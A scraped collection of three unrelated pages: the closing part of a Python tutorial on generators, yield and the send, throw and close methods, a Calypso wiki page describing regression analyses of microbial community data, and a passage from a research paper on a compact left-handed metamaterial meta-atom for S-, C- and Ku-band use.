it’s a very easy an elegant solution.\n\nBut that’s not the end of the story, there are even easier and more interesting ways to implement generators by defining a generator expression (also called a generator comprehension) which has a syntax that looks very much like list comprehensions.\n\nLet’s see how that would look like\n\n``````csv_gen = (row for row in open(file_name))\n``````\n\nBeautiful, isn’t it? just remember these main differences:\n\n• Using `yield` will result in a generator object\n• Using `return` will result in the first line of the file only.\n\n### Generating an infinite sequence\n\nAnother common scenario for generators is an infinite sequence generation. In Python, when you are using a finite sequence, you can simply call `range()` and evaluate it in a list context, for example:\n\n``````a = range(5)\nprint(list(a))\n[0, 1, 2, 3, 4]\n``````\n\nWe could do the same, generating an infinite sequence using generators like this:\n\n``````def infinite_sequence():\nnum = 0\nwhile True:\nyield num\nnum += 1\n``````\n\nAnd you can use it for example to print the values\n\n``````for i in infinite_sequence():\nprint(i, end=\" \")\n``````\n\nThough this will be super fast and would run “forever”, so you will have to stop it manually by pressing `CTRL+C` or the MAC alternative, but you will see all the numbers printed very fast on the screen.\n\nThere are other ways to get values, like for example you can get the values one by one as follows:\n\n``````>> gen = infinite_sequence()\n>>> next(gen)\n0\n>>> next(gen)\n1\n>>> next(gen)\n2\n....\n``````\n\n## More on Yielding\n\nSo far we looked at simple cases for generators, and the `yield` statement, however, as with all Python things, it doesn’t end there, there are more things around it, though the idea of it is what you learned so far.\n\nAs we already discussed, when we use `yield` we are saving the local state for the function and returning the value expression to the caller function. But what do we mean to save the local state? well… here is where it comes very interesting. When the Python `yield` statement is hit, the program suspends the function execution and returns the yielded value to the caller. When the function gets suspended, the state of that function is saved, this includes data like any variable bindings, the instruction pointer, the internal stack, and any exception handling. When the generator is once again called, the state is restored and the function continues from the last `yield` statement it hit, like if the previous yield wouldn’t have been called and the function wouldn’t have been suspended.\n\nPretty neat! Let’s see an example to understand this better\n\n``````>>> def multiple_yield():\n... value = \"I'm here for the first time\"\n... yield value\n... value = \"My Second time here\"\n... yield value\n...\n>>> multi_gen = multiple_yield()\n>>> print(next(multi_gen))\nI'm here for the first time\n>>> print(next(multi_gen))\nMy Second time here\n>>> print(next(multi_gen))\nTraceback (most recent call last):\nFile \"<stdin>\", line 1, in <module>\nStopIteration\n``````\n\nThe first time we executed the function, the execution pointer was at the beginning and thus we hit the first `yield` on line 2, thus the statement “I’m here for the first time” is printed on the screen. The second time `next()` is called, the execution pointer continues from line 3, hitting the second `yield` statement on line 4 and returning “My second time here”, though technically was only in that line once 😛. When we now call `next()` for the 3rd time, we get an error. This is because generators, like all iterators, can be exhausted, and if you try to call `next()` after that happens you will get this error.\n\nSo far we have covered the most common uses and constructions of generators, but there are a few more things to cover. Over time Python added some extra methods to generators, and I’ll like to discuss the following here:\n\n• `.send()`\n• `.throw()`\n• `.close()`\n\nBefore we go into the details of each of these methods, let’s create a sample generator that we are going to use as an example. Our generator will generate prime numbers as it’s implemented as follow:\n\n``````def isPrime(n):\nif n < 2 or n % 1 > 0:\nreturn False\nelif n == 2 or n == 3:\nreturn True\nfor x in range(2, int(n**0.5) + 1):\nif n % x == 0:\nreturn False\nreturn True\n\ndef getPrimes():\nvalue = 0\nwhile True:\nif isPrime(value):\nyield value\nvalue += 1\n``````\n\n### How to use .send()\n\n`.send()` allows you to set the value of the generator at any time. Let’s say you want to generate only the prime numbers from 1000 onward, that’s where `.send()` comes handy. Let’s take a look into that example:\n\n``````prime_gen = getPrimes()\nprint(next(prime_gen))\nprint(prime_gen.send(1000))\nprint(next(prime_gen))\n``````\n\nAnd when we run it, we get:\n\n``````2\n3\n5\n``````\n\nmm… that did not go quite as planned. And the issue is in the generator function we implemented. In order to use the send method we would need to make a few changes and make it look like this:\n\n``````def getPrimes():\nvalue = 0\nwhile True:\nif isPrime(value):\ni = yield value\nif i is not None:\nvalue = i\nvalue += 1\n``````\n\nNow again we run\n\n``````prime_gen = getPrimes()\nprint(next(prime_gen))\nprint(prime_gen.send(1000))\nprint(next(prime_gen))\n``````\n\nand we obtain:\n\n``````2\n1009\n1013\n``````\n\nNice! Good work!\n\n### How to use .throw()\n\n`.throw()` as you probably guessed allows you to throw exceptions with the generator. This can be useful to for example end the iteration at a certain value.\n\nLet’s see it in action:\n\n``````prime_gen = getPrimes()\n\nfor x in prime_gen:\nif x > 10:\nprime_gen.throw(ValueError, \"I think it was enough!\")\nprint(x)\n``````\n\nand we get:\n\n``````2\n3\n5\n7\nTraceback (most recent call last):\nFile \"test.py\", line 25, in <module>\nprime_gen.throw(ValueError, \"I think it was enough!\")\nFile \"test.py\", line 15, in getPrimes\ni = yield value\nValueError: I think it was enough!\n``````\n\nThe interesting characteristic about doing this is that the error is generated from within the generator as can be seen on the stack trace.\n\n### How to use .close()\n\nIn the previous example, we stop the iteration by raising an exception, however, that’s not very elegant. A better way to end the iterations is by using `.close()`.\n\n``````prime_gen = getPrimes()\n\nfor x in prime_gen:\nif x > 10:\nprime_gen.close()\nprint(x)\n``````\n\nwith output:\n\n``````2\n3\n5\n7\n11\n``````\n\nIn this case, the generator stopped and we left the loop without raising any exception.\n\n## Conclusion\n\nGenerators, either used as generator functions or generator expressions can be really useful to optimize the performance of our python applications especially in scenarios when we work with large datasets or files. They will also bring clarity to your code by avoiding complicated iterators implementations or handling the data on your own by other means.\n\nI hope that you now have a better understanding of generators, and that you can use them on your next project." ]
[ null, "https://livecodestream.dev/post/how-to-use-generator-and-yield-in-python/featured_huae4ce7d759daa222154aa6adc5074438_126547_600x0_resize_q90_h2_lanczos.webp", null ]
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http://cgenome.net/wiki/index.php?title=Calypso_Regression_Details&oldid=47
[ "# Calypso Regression Details\n\n(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)\n\n## Multiple linear regression\n\nMultiple linear regression allows identification of complex associations between microbial community composition and multiple factors.\n\nExample factors are BMI, age, blood sugar, ph, temperature or iron. In Calypso, regression models generally have the form:\n\ndp = factor1 + factor2 + factor3 + ...\n\nwhere dp is a dependent variable (such as taxa abundance or microbial diversity) and factor1 to factorN are multiple factors defined in the meta information file. In the regression analysis, the dependent variable is explained or \"modeled\" by the values of the included factors.\n\nThe following modes are available:\n\nTypeDescription\nTaxa vs FactorsIdentify associations between individual taxa and multiple factors.\nTime SeriesAnalysis of longitudinal data.\nDiversity vs EnvpIdentify associations between community diversity and multiple factors.\n\n## Details\n\n### Taxa vs Envp\n\nIdentify associations between individual taxa and all factors defined in the meta information file using multiple regression. For each taxon a regression model is fit of the form:\n\n``` taxon = factor1 + factor2 + factor3 ...\n```\n\nAll factors provided in the meta information file are included. The results of the analysis are shown in table format. For each taxon-factor pair model p-value (\".p\") and coefficient (\".c\") are shown, indicating if the factor-factor association is significant.\n\nUse the drop-down menu to select a specific taxon. For each factor, two scatterplots are displayed. In the first plot, the values of the selected taxon are plotted versus the values of the factor. The Pearson correlation is given as R, the p-value indicates the significance of the correlation. In the second plot, the selected taxon is controlled by the remaining factors. Taxa are controlled by first fitting a multiple linear regression model including all remaining factors as explanatory variables. The residuals of this model are then plotted versus the selected taxon.\n\nMultivariate paired data can be analyzed by mixed effect regression, which incorporates the paired variable (e.g. subject, animal or cage) as random effect and other factors (e.g. cases/controls or treatment) as fixed effect. These models can distinguish between group-specific effects (e.g. average in cases and controls) and subject or cage-specific effects. For paired data, select the \"Paired\" checkbox. A linear mixed effects model is fit of the form:\n\n``` taxon = factor1 + factor2 + factor3 ... + pair1 + pair2 + ...,\n```\n\nwhere factors are included as fixed effects and pairs as random effect. The model is fit in R using the command: lmer(taxon ~ factor1 + factor2 + factor3 .. ... + (1|pair))\n\nAll factors defined in the meta information file are included. The pair information is taken from the third column of the meta information file.\n\nUse the drop-down menu to select a specific taxon. For each factor f, two scatterplots are displayed. In the first plot, the values of the selected taxon are plotted versus factor f. In the second plot, the partial correlation is shown. The values of the selected taxon are controlled by all remaining factors (by fitting a regression model with the remaining factors and plotting the residuals versus f). The Pearson correlation is given as R, the p-value indicates the significance of the correlation.\n\nFor paired data select the \"Paired\" checkbox and press \"Run Analysis\". In the case of paired data, a linear mixed effects model is fit of the form:\n\n``` taxon = fa1 + fa2 + fa3 ... + pair1 + pair2 + ...,\n```\n\nwhere the factors are included as fixed effects and the pairs as random effect.\n\n### Time Series\n\nAnalysis of longitudinal data (time series). The secondary group of each sample is used as time point. For each taxon, a mixed effect regression model is fit of the form:\n\n``` taxon = time point 1 + time point 2 + ...+ pair1 + pair2 + ...,\n```\n\nwhere time point is included as fixed effect and pair as random effect. This is calculated in R using the lmer() function via the formula:\n\n``` taxon ~ as.factor(secondary group) + (1|pair).\n```\n\nUse the taxa drop-down menu to select a single taxon. A scatter plot is shown plotting the correlation between the selected taxon and each factor.\n\n### Diversity vs Envp\n\nIdentify associations between community diversity and multiple factors. The diversity index can be set via the 'Index' drop down menu. Recommended indices are \"Shannon\" and \"Richness\". A regression model is fit of the form:\n\n``` diversity = fa1 + fa2 + fa3 …\n```\n\n, where fa1, fa2, ... are factors.\n\nThe results of the regression are presented as table. For each factor the coefficient (\"Estimate\") and p-value are shown. P-values indicate significance of associations.\n\nAdditionally, two scatterplots are shown for each factor. The first plots community diversity vs the values of the factor. The p-value indicates the significance of the Pearson correlation between community diversity and the factor. In the second scatterplot, the diversity index is controlled for all remaining environmental variables.\n\nFor paired data, select the 'Paired' checkbox. The following regression model is fit for paired data:\n\n``` difference in diversity (samples from same pair) = difference in fac1 + difference in fa2 + ...,\n```\n\nwhere fa1, fa2, ... are the environmental variables. The difference in diversity is computed for all combinations of samples from the same pair.\n\n### Environmental variable\n\nTwo tables are shown. First, the correlation (Pearson correlation) between each taxa and the selected dependent variable. A p-value is given indicating the statistical significance of the correlation. The second table summaries the results of the fitted regression model. For each bacterial group, the coefficient as well as a p-value are given. The p-value indicates if the respective bacterial groups has a significant contribution to the fitted regression model.\n\nAdditionally a scatter plot is presented, which visualizes how well the fitted model explains the dependant variable. The fitted model can be used to predict the dependent variable given the explanatory variable. The scatterplot displays for each sample the observed/original value of dependence variable (as specified in the meta data file) versus the predicted value (the value of the dependent variable as predicted by the fit model). A p-value of the statistical significance of the fitted model is given.\n\nUse the Taxa drop-down menu to select a specific taxon or OTU.Four scatterplots are shown:\n\nThe first (top left) visualized the dependency of the dependant variable from the abundance of the selected bacterial group. Depicted is the value of the dependent variable versus the abundance of the selected bacterial group.\n\nThe second plot (upper right) depicts the controlled dependent variable versus the abundance of the bacterial group. The dependent variable is controlled by first fitting a multiple linear regression model using all remaining bacterial groups as explanatory variables. Subsequently, the simple linear regression model is fit on the residuals of the multiple linear regression model.\n\nThe third plot (lower left) depicts the partial correlation between the dependent variable and the selected bacterial group. The controlled dependent variable is plotted versus the controlled abundance of the bacterial group.\n\nThe fourth figure (lower right) visualize how well the fit linear regression model explains the value of the dependant variable, or in other words how strongly the dependant variable depends on the abundance of the selected bacterial group. Depicted is the the predicted value of the dependant variable (predicted by the fit simple linear regression model) versus the observed/original value of the the dependant variable (as specified in the meta data file)." ]
[ null ]
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https://www.mdpi.com/2076-3417/7/10/1071
[ "", null, "Next Article in Journal\nAmorphous Oxide Thin Film Transistors with Nitrogen-Doped Hetero-Structure Channel Layers\nPrevious Article in Journal\nFracture Initiation of an Inhomogeneous Shale Rock under a Pressurized Supercritical CO2 Jet\n\nCorrection published on 4 January 2018, see Appl. Sci. 2018, 8(1), 53.\nFont Type:\nArial Georgia Verdana\nFont Size:\nAa Aa Aa\nLine Spacing:\nColumn Width:\nBackground:\nArticle\n\n# Compact Left-Handed Meta-Atom for S-, C- and Ku-Band Application\n\n1\nSpace Science Centre (ANGKASA), Universiti Kebangsaan Malaysia, 43600 UKM Bangi, Selangor, Malaysia\n2\nDepartment of Electrical, Electronic and Systems Engineering, Universiti Kebangsan Malaysia, 43600 UKM Bangi, Selangor, Malaysia\n*\nAuthors to whom correspondence should be addressed.\nAppl. Sci. 2017, 7(10), 1071; https://doi.org/10.3390/app7101071\nReceived: 10 August 2017 / Accepted: 10 October 2017 / Published: 23 October 2017\n\n## Abstract\n\n:\nA new compact left-handed meta-atom for S-, C- and Ku-band applications is presented in this paper. The proposed structure provides a wide bandwidth and exhibits left-handed characteristics at 0°, 90°, 180° and 270° (xy-axes) rotations. Besides, the left-handed characteristics and wide bandwidth of 1 × 2, 2 × 2, 3 × 3 and 4 × 4 arrays are also investigated at the above-mentioned rotation angles. In this study, the meta-atom is designed by creating splits at the outer and inner square-shaped ring resonators, and a metal arm is placed at the middle of the inner ring resonator. The arm is also connected to the upper and lower portions of the inner ring resonator, and later, the design appears as an I-shaped split ring resonator. The commercially available, finite integration technique (FIT)-based electromagnetic simulator CST Microwave Studio is used for design and simulation purposes. The measured data comply well with the simulated data of the unit cell for 1 × 2, 2 × 2, 3 × 3 and 4 × 4 arrays at every rotation angle. Owing to the effective medium ratio (EMR) of 8.50 at 0° and 180° rotations, the proposed meta-atom structure is compact in size. Moreover, due to the quality factor of 82, the designed meta-atom is flexible for high-performance antenna, filter and sensor applications. Therefore, the meta-atom integrated antenna shows multi frequency bands with the highest peak gain of 5 dBi, which is used as the long distance radio communication frequency.\n\n## 1. Introduction\n\nElectromagnetic meta-atoms are composed of artificial atoms, whose electric and magnetic response could be flexibly tailored to meet desired exotic EM properties. Benefiting from these novel properties, meta-atoms have produced many exotic effects in several applications, such as negative permeability, sub-wavelength imaging super-lens, electromagnetic absorbers , negative refraction , filter design , antenna performance enhancing, SAR reduction and invisible cloaking . The development of the meta-atoms utilizes the intrinsic loss of the system, with the help of structural design, to obtain a wide bandwidth or sharp resonance at a certain frequency. Material that exhibits either negative permittivity or negative permeability is called a single-negative meta-atom. When the values of permittivity and permeability are near zero over a specific frequency range, the material is specified as a near-zero refractive index meta-atom. Moreover, a material exhibiting negative permeability and negative permittivity simultaneously can be characterized as a double-negative or left-handed meta-atom. Although negative permittivity can be found in a few metals, negative penetrability is hard to discover. Therefore, the presence of both negative permeability and permittivity is exceptionally hard to acquire as the characteristic for left-handed materials. Recently, various composites based on metallic and dielectric structures that act as left-handed meta-atoms have been developed (Figure 1) [6,7,8,9,10,11,12].\nIn 1968, Veselago first discussed the negative index material. He demonstrated that a negative index material refraction would occur at negative angles, energy would flow in a direction opposite to the direction of the phase velocity and the Doppler effect would be reversed at a certain frequency . In 1996, Pendry et al. projected their summary of a thin wire configuration, which exhibited a negative permittivity (ε), and in 1999, they presented the split ring resonator with a negative permeability (μ) . Owing to the absence of such properties in natural materials, the topic was not particularly interesting to researchers until Smith and his colleagues invented the first successful metamaterial in the laboratory. In 2000, Smith et al. exhibited a material that displayed negative permittivity and permeability at the same time with unusual natural properties . In the last few years, multi-band meta-atom arrays at different rotation angles with a compact size, left-handed properties and a wide bandwidth have become a promising research field for specialists because very few studies are concentrated on this sector. In 2017, Hasan et al. suggested that a tri-band metamaterial absorber was developed by the square shape resonators with a circular ring in the middle of the square resonators. The designed metamaterial absorber illustrates a 4.71 GHz-wide bandwidth and applicable for tri- (C-, X- and Ku-) band applications. The effective medium ratio was 5.83, and the absorptions were respectively, 82%, 67% and 93% . In 2013, Mallik et al. introduced a rectangular “U-shaped” left-handed metamaterial for several orthogonal array structure, and the effective medium ratio was 1.99 . In 2014, Islam et al. proposed a 30 × 30-mm2 “H-shaped” metamaterial for multi-band operations, and the resonance frequencies were found at S-, C-, X- and Ku-bands. In addition, the H-shaped structure exhibited double-negative characteristics, but the effective medium ratio was 3.64. However, the sensitivity of these metamaterial was only 13 . In 2015, Purushothaman et al. explained a “ring-shaped” metamaterial structure applicable as a filter in waveguides. Moreover, the effect on the resonance of the parameters, such as the ring width, inner and outer ring gap, splitting of the ring, substrate material thickness and orientation of the substrate material, was investigated in their paper . In 2015, Hossain et al. introduced a two “G-shaped” double negative (DNG) metamaterial, where the unit cell and arrays are different in size, and the metamaterial was suitable for S- and C-band applications. The dimensions of the presented metamaterial structure were 12 × 12 mm2 . In 2015, Armghan et al. proposed a metamaterial based on split ring resonators to produce a negative refractive index at terahertz frequencies. The 2200 × 2200-nm2 structure exhibited left-handed characteristics at approximately 9.7 THz . In 2016, Zhou et al. designed an 8.5 × 8.5-mm2 “double Z-shaped” left-handed metamaterial via coplanar electric and magnetic resonators, and the effective medium ratio was 4.80. The resonator structure was composed of two orthogonal Z-shaped metal strips, and the metamaterial exhibited resonance at 7.3, 8.1 and 9.4 GHz . In 2015, Alam et al. suggested an 8 × 8-mm2 “hexagonal” DNG metamaterial, where the bandwidth was 1.75 GHz (from 1.68–3.43 GHz) and 0.96 GHz (from 5.04–6.0 GHz) . In 2016, Yang et al. demonstrated a “ring-shaped” 5 × 5-mm2 meta-atom for wearable, flexible and stretchable microwave meta-skin, with clocking effects from 8–13 GHz and an effective medium ratio of six . In 2016, Du et al. presented a left-handed metamaterial created by the combination of ferrite sheets and dielectric rods to investigate the electromagnetic properties for X-band applications . In 2016. Hasan et al. exhibited a Z-shaped metamaterial with resonance at C- and X-bands, where the bandwidth was 3.61 GHz (from 3.48–7.09 GHz). Due to the effective medium ratio (EMR), more than four of the proposed metamaterials were compact in size, and the quality factor was 31. Moreover, the double-negative properties appeared at 8.79 GHz . In 2016, Liu et al. presented a 5 × 5-mm2 split ring-shaped left-handed metamaterial developed using modified circular electric resonators, and it exhibited a dual-band for microwave devices and antenna applications with an effective medium ratio of 5.45 . In 2017, Hasan et al. displayed a 10 × 10-mm2 a split S-shaped ring resonator that exhibited resonances at X-band with negative refractive index from 8.0–11.70 GHz and 11.78–14.0 GHz, i.e., the bandwidths cover 3.70 GHz and 2.22 GHz, respectively .\nIn this paper, the reported reformed I-shaped meta-atom unit cells with 1 × 2, 2 × 2, 3 × 3 and 4 × 4 array structures are analyzed at different rotation angles, including 0-degrees, 90-degrees, 180-degrees and 270-degrees. The unit cell shows resonances at S-, C- and Ku-bands, with a maximum negative refractive index (NRI) bandwidth of 3 GHz at 0-degree, 3.29 GHz at 90-degree, 2.94 GHz at 180-degree and 3.66 GHz at 270-degree rotation. Similarly, for 1 × 2, 2 × 2, 3 × 3 and 4 × 4 array structures, the NRI bandwidths are elaborately explained in the Results Section. The proposed unit cell and the 1 × 2, 2 × 2, 3 × 3 and 4 × 4 arrays exhibit left-handed or double-negative characteristics at 9.20 GHz. The meta-atom structure is compact in size because the effective medium ratio at 0-degree and 180-degree rotation is 8.50 and at 90-degree and 270-degree rotation is more than four. The dimensions of the designed meta-atom are 10 × 10 mm2, which is compact in size according to the effective medium ratio and comparison with [5,17,19,21,22,23]. The proposed meta-atom unit cell and arrays also exhibit more frequency bands with a wider bandwidth than [1,4,5,16,17,19,20,21,22,23]. Moreover, the proposed meta-atom is used for enhancing the antenna bandwidth, number of frequency bands and gain because the number of frequency bands, bandwidth and gain of the antenna can be improved by using the partial or slotted or fractal or meta-atom integrated ground plane. Therefore, after the ground plane is replaced by the proposed meta-atom, then the frequency bands and gain of the antenna are increased. In addition, by using these proposed designs, the side lobes can be reduced, which makes the radiation pattern better. Besides, the size of the antenna becomes reduced because the desired performances of the antenna are obtained easily by using this proposed meta-atom within a compact size.\n\n## 2. Construction of the Proposed Meta-Atom Structure\n\nIn the proposed design, an orthogonal metal strip of copper (thickness, h = 0.035 mm and conductivity, σ = 5.8 × 107 S/m) is placed in such a way in the inner split square-shaped ring resonator to form an I-shaped structure. A diagram of the proposed unit cell is shown in Figure 2 and the array structure is shown in Figure 3. Two equal gaps in every ring produce the capacitive effect, symbolized by “g,” and each metal strip is responsible for generating inductance. Epoxy resin fiber is used as substrate material and has a dielectric constant of 4.5 and a loss tangent of 0.02. Table 1 reveals the dimensions of the recommended meta-atom unit cell.\n\n## 3. Methodology\n\nFor numerical analysis of the proposed unit cell, the finite integration technique-based CST Microwave Studio has been used. In the simulation technique, the unit-cell structure is placed between two waveguide ports, and the electromagnetic waves are set to propagate in the z-directions. Perfect electric and magnetic boundaries are considered in the x- and y-directions shown in Figure 4. A frequency-domain solver with a tetrahedral mesh is utilized for simulation from 2–14 GHz.\nThe reflection (S11) and transmission (S21) coefficients are analyzed to realize the electromagnetic properties of the anticipated structure [24,25]. However, S11 and S21 can be written as,\n$S 11 = ( 1 − Γ 2 ) z 1 − Γ 2 z 2 ,$\n$S 21 = ( 1 − z 2 ) Γ 1 − Γ 2 z 2 ,$\nThe effective permittivity (ε) can be calculated by,\n$ε r = 2 j k d × ( 1 − S 21 − S 11 ) ( 1 + S 21 + S 11 ) ,$\n$ε r = c j π f d × ( 1 − S 21 − S 11 ) ( 1 + S 21 + S 11 ) ,$\nThe effective permeability (μ) can be obtained from,\n$μ r = 2 j k d × ( 1 − S 21 + S 11 ) ( 1 + S 21 − S 11 ) ,$\n$μ r = c j π f d × ( 1 − S 21 + S 11 ) ( 1 + S 21 − S 11 ) ,$\nTherefore, the refractive index (n) can be expressed as follows,\n$n r = 2 j k d × { ( S 21 − 1 ) 2 − S 11 2 ( S 21 + 1 ) 2 − S 11 2 } ,$\n$n r = c j π f d × { ( S 21 − 1 ) 2 − S 11 2 ( S 21 + 1 ) 2 − S 11 2 } ,$\nwhere k = ω/C and the angular frequency ω = 2πf. Measurement of the meta-atom is performed by the two horn antenna (frequency range from 700 MHz–18 GHz) in a semi-anechoic chamber, placed 1 m apart to satisfy the far-field condition. For measurement purposes, the fabricated prototypes utilize a horn antenna. A fabricated 150 × 200-mm2 (15 × 20 unit cells) array prototype, displayed in Figure 3, is placed within two horn antennas (from 700 MHz–18 GHz) in a semi-anechoic chamber. The chamber is surrounded by a wedge tapered absorber. The incident electromagnetic waves travel over the prototype similar to the simulated geometry. The horn antennas are connected to the Agilent N5227A vector network analyzer to obtain the reflection and transmission coefficient of the I-shaped meta-atom unit cell. Moreover, for additional experimental accuracy, the designed structure is also measured by the waveguides method . The measured results of the both methods are almost similar to the proposed meta-atom structure. In addition, in the waveguide method, the fabricated 10 × 10-mm2 unit cell is placed between the waveguide ports, which work as transmission and receiving terminals. A set of (WR284 (frequency range from 2–3.95 GHz), WR187 (frequency range from 3.95–5.85 GHz), WR137 (frequency range from 5.85–8.20 GHz), WR90 (frequency range from 8.20–12.40 GHz), WR62 (frequency range from 12.40–18 GHz)) waveguides to coaxial adapters is connected to the Agilent N5227A vector network analyzer via a semi-rigid cable for measuring the S-parameters of the operating frequency from 2–18 GHz. The waveguide experiment is performed in an open-space environment, and the measurement is performed accurately with an Agilent N4694-60001 for calibration and an Agilent N5227A as a vector network analyzer. The experimental setup for measurement purposes is shown in Figure 5.\n\n## 4. Circuit Model of the Proposed Meta-Atom\n\nThe proposed meta-atom structure contains the inductive-capacitive circuit, so the resonance frequency (f),\n$f = 1 2 π L T C T ,$\nThe total inductance (LT) and capacitance (CT) for the proposed structure can be obtained from . Therefore, the total inductance (LT) can be obtained from,\n$L T = τ × μ 0 t { 2 ( 10 d + h ) 2 ( 2 w + g ) 2 + ( 2 w + g ) 2 + l 2 ( 10 d + h ) } ,$\nHowever, the total capacitance (CT) can be calculated by:\n$C T = ε 0 [ ( 2 w + g ) π ( 10 d + g + h ) 2 l n { 2 ( 10 d + g + h ) ( a − l ) } ] ,$\nwhere the free-space permeability is µ0 = 4π × 10−7 H/m, the permittivity is ε0 = 8.854 × 10−12 F/m and the parametric constant is τ = 0.0001. For left-handed characteristics, the series and shunt branch are formed by the inductive and capacitive effect. The capacitive effect is maintained by gaps or splits, which are symbolized by C1, C2, C3, C4 and C5 in the circuit shown in Figure 6. Conversely, the metal strips are accountable for the inductive effect and denoted by L1, L2, L3, L4, L5 and L6. When the width of the metal strip is increased, the inductive effect is also increased. As a result, owing to the inductive effect, the resonance frequency is decreased. Similarly, by decreasing the width and increasing the number of splits, the capacitive effect can be raised for the proposed unit cell, which swings the resonance frequency downwards . However, the addition of further splits and metal arms in the meta-atom structure produces a small phase delay and increases the total inductive and capacitive effect.\nIn the above equivalent circuit, the current I (from the source) is divided into I1, I2, I3, I4, I5 and I6, where I = I1 + I2 + I3 + I4 + I5 + I6 (Kirchhoff’s first law). If the applied voltage is V and the charge in the capacitor is Q, then according to Kirchhoff’s second law, the differential equations for the loops are ,\nFrom the loop ABEA in the circuit model,\n$IR + Q C 1 + L 1 × d I 1 d t = V ,$\nAfter the Laplace transformation,\n$IR + I 1 S C 1 + L 1 S I 1 = V ,$\nFrom the loop BEDB in the circuit model,\n$Q C 1 + L 1 × d I 1 d t − Q C 4 − L 4 × d I 4 d t − Q C 3 = 0 ,$\nAfter the Laplace transformation,\n$I 1 S C 1 + L 1 S I 1 − I 4 S C 4 − L 4 S I 4 − I 3 S C 3 = 0 ,$\n$1 S ( I 1 C 1 − I 4 C 4 − I 3 C 3 ) + S ( L 1 I 1 − L 4 I 4 ) = 0 ,$\nFrom the loop CEFC in the circuit model,\n$L 2 × d I 2 d t + Q C 2 − L 5 × d I 5 d t − Q C 5 − Q C 3 = 0 ,$\nAfter the Laplace transformation,\n$I 2 S C 2 + L 2 S I 2 − I 5 S C 5 − L 5 S I 5 − I 3 S C 3 = 0 ,$\n$1 S ( I 2 C 2 − I 3 C 3 − I 5 C 5 ) + S ( L 2 I 2 − L 5 I 5 ) = 0 ,$\nFrom the loop DED in the circuit model,\n$L 4 × d I 4 d t + Q C 4 − L 6 × d I 6 d t = 0 ,$\nAfter the Laplace transformation,\n$L 4 S I 4 + I 4 S C 4 − L 6 S I 6 = 0 ,$\n$I 4 S C 4 + S ( L 4 I 4 − L 6 I 6 ) = 0 ,$\nFrom the loop FEF in the circuit model,\n$Q C 5 + L 5 × d I 5 d t − L 6 × d I 6 d t = 0 ,$\nAfter the Laplace transformation,\n$L 5 S I 5 + I 5 S C 5 − L 6 S I 6 = 0 ,$\n$I 5 S C 5 + S ( L 5 I 5 − L 6 I 6 ) = 0 ,$\nSimilarly, the current passes through L6,\n$L 6 × d I 6 d t = 0 ,$\nAfter Laplace transformation,\n$L 6 S I 6 = 0 ,$\nTherefore, from Equations (9)–(14), the corresponding current and field calculation can be obtained for the proposed unit cell.\n\n## 5. Results Analysis\n\nThe current densities of the unit cell and 1 × 2 array at 12.94 GHz are shown in Figure 7a,c. Due to the dissimilar geometry of the meta-atom structure, the currents flow in opposite directions. In the resonator, opposite currents are flowing in the inner and outer surfaces, which causes the stop band at this frequency by cancelling the field. However, at 12.80 GHz, a strong electric field is also observed for the unit cell and 1 × 2 array structure in Figure 7b,d.\n\n#### 5.1. Unit Cell Analysis\n\nIn Figure 8a,b, both the numerical and experimental reflection (S11) and transmission (S21) coefficients are shown. In Figure 8a, the simulation and experimental resonance frequencies of the reflection coefficient are almost the same at 3.7 GHz and 8.6 GHz of the unit cell. In addition, the measured resonance of the reflectance of the array structure at 4.21 GHz (magnitude of 23 dB) and 8.60 GHz (magnitude of 12 dB) is shown in the same Figure 8a. Figure 8b shows the triple-band resonance of the simulation at 3.48 GHz, 7.60 GHz and 12.84 GHz in the transmittance curve. The measured results exhibit resonance at 3.53 GHz (S-band), 7.54 GHz (C-band) and 12.94 GHz (Ku-band) in Figure 8b for the unit cell. The values of the resonances at 3.53 GHz, 7.54 GHz and 12.94 GHz are −14.95 dB, −17.56 dB and −29.91 dB, respectively. Moreover, the measured transmittance of the array structure exhibits the resonance frequency peaks at 4.0 GHz (magnitude of 16 dB), 7.41 GHz (magnitude of 21 dB), 8.10 GHz (magnitude of 17.50 dB), 10.30 GHz (magnitude of 12 dB) and 12.41 GHz (magnitude of 23 dB) in Figure 8b. However, owing to the measurement or fabrication errors, the measured result frequencies are slightly shifted and the magnitude extended compared with the simulated results.\nFigure 9 shows the unit cell amplitudes of the permittivity, permeability and refractive index at 0-degree, 90-degree, 180-degree and 270-degree rotations. Figure 9a demonstrations the negative permeability from 7.85–14 GHz (bandwidth of 6.15 GHz), negative permittivity from 4.60–7.70 GHz (bandwidth of 3.10 GHz) and 8.30 to 10.36 GHz (bandwidth of 2.06 GHz) and negative refractive index from 4.50 to 7.50 GHz (bandwidth of 3.0 GHz), 7.80 to 10.10 GHz (bandwidth of 2.30 GHz) and 12.60–14 GHz (bandwidth of 1.40 GHz) at zero-degree rotation. In addition, Figure 9b displays the permeability from 7.79–14 GHz (bandwidth of 6.21 GHz), permittivity from 4.11–7.53 GHz and 8–10.20 GHz. However, the refractive index is from 3.96–7.25 GHz and 7.68–9.60 GHz at 90-degree rotation. Furthermore, in Figure 9c, the unit cell at 180-degree rotation exhibits permeability from 7.90–14 GHz, permittivity from 4.66–7.12 GHz and 8.38–10.39 GHz and a refractive index from 4.53–7.47 GHz and 7.80–10.13 GHz. Additionally, permeability from 7.80–14 GHz, permittivity from 4.11–7.53 GHz and 8.03–10.17 GHz and a refractive index from 3.59–7.25 GHz and 7.68–9.59 GHz are shown in Figure 9d for 270-degree rotation of the proposed meta-atom unit cell. Here, it is revealed that there is a variation between the effective medium parameters because the properties of the effective medium parameters are mostly affected by the polarization owing to the internal architecture of the mate atom.\nAccording to the left-handed or double-negative characteristics, the refractive index will be negative, if the unit cell permittivity and permeability appear negative simultaneously. From Figure 9, the unit cell structure exhibits left-handed characteristics at every rotation angle at 9.20 GHz, which are shown in Table 2. There is a variation of the effective medium ratio between zero-degrees and 90-degrees. Actually, the electric and magnetic fields are closely related and propagate as an electromagnetic wave. The electromagnetic wave is applied to the proposed meta-atom in the Z-direction. After application of the electromagnetic wave, the inner particles of the meta-atom structure start oscillating up and down, as well as toward the vibration. However, at time t = 0, T/2, there is a maximum separation of charge, where the negative charges are at the top and the positive charges are at the bottom, and a maximum amplitude is produced at lower frequencies. At t = T/4, 3T/4, there is a maximum charge separation, either positive or negative, and the amplitude at higher frequencies.\n\n#### 5.2. Meta-Atom Array Configurations\n\nThe performances of the 1 × 2, 2 × 2, 3 × 3 and 4 × 4 open array configurations are analyzed in this section under 0°, 90°, 180° and 270° rotation structures.\n\n#### 5.2.1. 1 × 2 Array Analysis\n\nFigure 10 shows the effective medium parameter amplitudes at the different rotations of the 1 × 2 array geometry. The 